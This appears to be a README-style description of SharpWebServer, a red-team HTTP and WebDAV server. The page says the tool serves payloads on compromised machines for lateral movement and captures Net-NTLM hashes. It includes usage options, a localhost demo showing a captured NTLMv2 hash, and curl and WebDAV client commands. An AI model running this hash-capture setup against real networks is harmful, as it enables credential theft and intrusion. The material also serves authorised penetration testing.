SharpWebServer : HTTP And WebDAV Server With Net-NTLM Hashes Capture Functionality

SharpWebServer is a Red Team oriented simple HTTP & WebDAV server written in C# with functionality to capture Net-NTLM hashes. To be used for serving payloads on compromised machines for lateral movement purposes.

Requires .NET Framework 4.5 and System.Net and System.Net.Sockets references.

Usage

:: SharpWebServer ::
a Red Team oriented C# Simple HTTP Server with Net-NTLMv1/2 hashes capture functionality
Authors:
– Can Güney Aksakalli (github.com/aksakalli) – original implementation
– harrypatrick442 (github.com/harrypatrick442) – aksakalli’s fork & changes
– Dominic Chell (@domchell) from MDSec – Net-NTLMv2 hashes capture code borrowed from Farmer
– Mariusz B. / mgeeky, – combined all building blocks together,
added connection keep-alive to NTLM Authentication
Usage:
SharpWebServer.exe [dir=path] [verbose=true] [ntlm=true] [logfile=path]
Options:
port – TCP Port number on which to listen (1-65535)
dir – Directory with files to be hosted.
verbose – Turn verbose mode on.
seconds – Specifies how long should the server be running. Default: indefinitely
ntlm – Require NTLM Authentication before serving files. Useful to collect NetNTLMv2 hashes
(in MDSec’s Farmer style)
logfile – Path to output logfile.

Example

Example use-case serving files and capturing Net-NTLM hashes at the same time:

Server

C:> SharpWebServer.exe port=8888 dir=C:\Windows\Temp verbose=true ntlm=true
:: SharpWebServer ::
a Red Team oriented C# Simple HTTP & WebDAV Server with Net-NTLM hashes capture functionality
[.] Serving HTTP server on port : 8888
[.] Will run for this long : 60 seconds
[.] Verbose mode turned on.
[.] NTLM mode turned on.
[.] Serving files from directory : C:\Windows\Temp
SharpWebServer [29.03.21, 17:55:14] NTLM: Sending 401 Unauthorized due to lack of Authorization header.
SharpWebServer [29.03.21, 17:55:14] ::1 – “GET /test.txt” – len: 0 (401)
SharpWebServer [29.03.21, 17:55:14] NTLM: Sending 401 Unauthorized with NTLM Challenge Response.
SharpWebServer [29.03.21, 17:55:14] ::1 – “GET /test.txt” – len: 0 (401)
[+] SharpWebServer: Net-NTLM hash captured:
TestUser:::1122334455667788:66303EE2DF9417E2FE07E1B7FD663205:010100000000000092EC04E8B324D701C2B561D5FECBB325000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C00080030003000000000000000010000000020000045E18A336DA58F5F0F826F846C699F77DCCF02BA5135525AC52EFBB0C0A1F1160A0010000000000000000000000000000000000009001C0048005400540050002F006C006F00630061006C0068006F00730074000000000000000000
SharpWebServer [29.03.21, 17:55:14] ::1 – “GET /test.txt” – len: 11 (200)

Client

C:> curl -sD- http://localhost:8888/test.txt –ntlm –negotiate -u TestUser:TestPassword
HTTP/1.1 401 Unauthorized
Transfer-Encoding: chunked
WWW-Authenticate: NTLM
Date: Mon, 29 Mar 2021 15:55:14 GMT
HTTP/1.1 401 Unauthorized
Transfer-Encoding: chunked
WWW-Authenticate: NTLM TlRMTVNTUAACAAAABgAGADgAAAAFAomiESIzRFVmd4gAAAAAAAAAAIAAgAA+AAAABQLODgAAAA9TAE0AQgACAAYAUwBNAEIAAQAWAFMATQBCAC0AVABPAE8ATABLAEkAVAAEABIAcwBtAGIALgBsAG8AYwBhAGwAAwAoAHMAZQByAHYAZQByADIAMAAwADMALgBzAG0AYgAuAGwAbwBjAGEAbAAFABIAcwBtAGIALgBsAG8AYwBhAGwAAAAAAA==
Date: Mon, 29 Mar 2021 15:55:14 GMT
HTTP/1.1 200 OK
Content-Length: 6
Content-Type: text/plain
Date: Mon, 29 Mar 2021 15:55:14 GMT
foobar

WebDAV client

C:> dir \localhost@8888\test
Volume in drive \localhost@8888\test has no label.
Volume Serial Number is 0000-0000
Directory of \localhost@8888\test
30.03.2021 05:12 .
30.03.2021 05:12 ..
30.03.2021 04:27 11 test2.txt
30.03.2021 05:12 12 test3.txt
30.03.2021 05:12 test4
2 File(s) 23 bytes
3 Dir(s) 225 268 776 960 bytes free
C:> type \localhost@8888\test\test4\test5.txt
Hello world!
C:> copy \localhost@8888\test\test4\test5.txt .
1 file(s) copied.